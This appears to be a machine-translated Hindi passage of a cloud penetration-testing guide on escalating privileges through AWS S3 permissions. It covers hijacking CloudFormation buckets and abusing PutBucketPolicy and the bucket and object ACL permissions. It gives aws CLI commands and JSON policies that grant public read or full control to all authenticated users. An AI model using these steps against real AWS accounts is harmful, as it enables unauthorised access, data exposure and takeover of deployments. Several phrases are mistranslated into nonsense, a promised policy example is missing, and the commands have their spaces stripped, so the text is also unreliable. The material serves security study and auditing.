इन अनुमतियों के साथ एक हमलावर दिलचस्प बकेट्स पर राजीनामा देकर संसाधनों को हाइजैक कर सकता है और विशेषाधिकारों को वृद्धि दे सकता है।
उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नामक एक क्लाउडफॉर्मेशन बकेट पर इन अनुमतियों के साथ एक हमलावर डिप्लॉयमेंट को हाइजैक कर सकता है। पहुंच निम्नलिखित नीति के साथ दी जा सकती है:
और हाइजैक संभव है क्योंकि टेम्पलेट अपलोड किए जाने के बाद से बकेट में डिप्लॉय होने तक का एक छोटा समय विंडो होता है। एक हमलावर बस अपने खाते में एक लैम्बडा फंक्शन बना सकता है जो बकेट नोटिफिकेशन भेजने पर ट्रिगर होगा, और उस बकेट की सामग्री को हाइजैक कर सकता है।
ये अनुमतियाँ हैं S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए। AWS के अंदर (और बाहर) कई सेवाएं S3 स्टोरेज का उपयोग कॉन्फ़िग फ़ाइलें स्टोर करने के लिए करती हैं।
उन्हें पढ़ने की अनुमति वाले एक हमलावर को उनमें संवेदनशील जानकारी मिल सकती है।
उन्हें लिखने की अनुमति वाले एक हमलावर को डेटा में परिवर्तन करने की अनुमति हो सकती है ताकि कोई सेवा का दुरुपयोग करने की कोशिश कर सके और वर्चस्व उन्नति कर सके।
ये कुछ उदाहरण हैं:
यदि एक EC2 इंस्टेंस S3 बकेट में उपयोगकर्ता डेटा स्टोर कर रहा है, तो एक हमलावर इसे संशोधित करके EC2 इंस्टेंस के अंदर एकाधिक कोड का क्रियान्वयन कर सकता है।
s3:PutBucketPolicy
एक हमलावर, जो एक ही खाते से होना चाहिए, अगर नहीं तो त्रुटि निर्दिष्ट विधि की अनुमति नहीं दी गई है ट्रिगर होगी, इस अनुमति के साथ खुद को बकेट(ओं) पर अधिक अनुमतियाँ प्रदान कर सकेगा जिससे उसे बकेट पर पढ़ने, लिखने, संशोधन, हटाने और प्रकट करने की अधिक अनुमतियाँ मिलेंगी।
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
एक हमलावर इन अनुमतियों का दुरुपयोग कर स्पष्ट बकेट्स पर अधिक पहुंच देने के लिए कर सकता है।
ध्यान दें कि हमलावर को एक ही खाते से होने की आवश्यकता नहीं है। इसके अतिरिक्त लेखन अधिकता।
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
एक हमलावर इन अनुमतियों का दुरुपयोग करके बाल्ट में विशेष वस्तुओं पर अधिक पहुंच प्रदान कर सकता है।
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
इन अधिकारों के साथ एक हमलावर को एक विशिष्ट ऑब्जेक्ट संस्करण पर एक Acl डालने में सक्षम होने की उम्मीद है।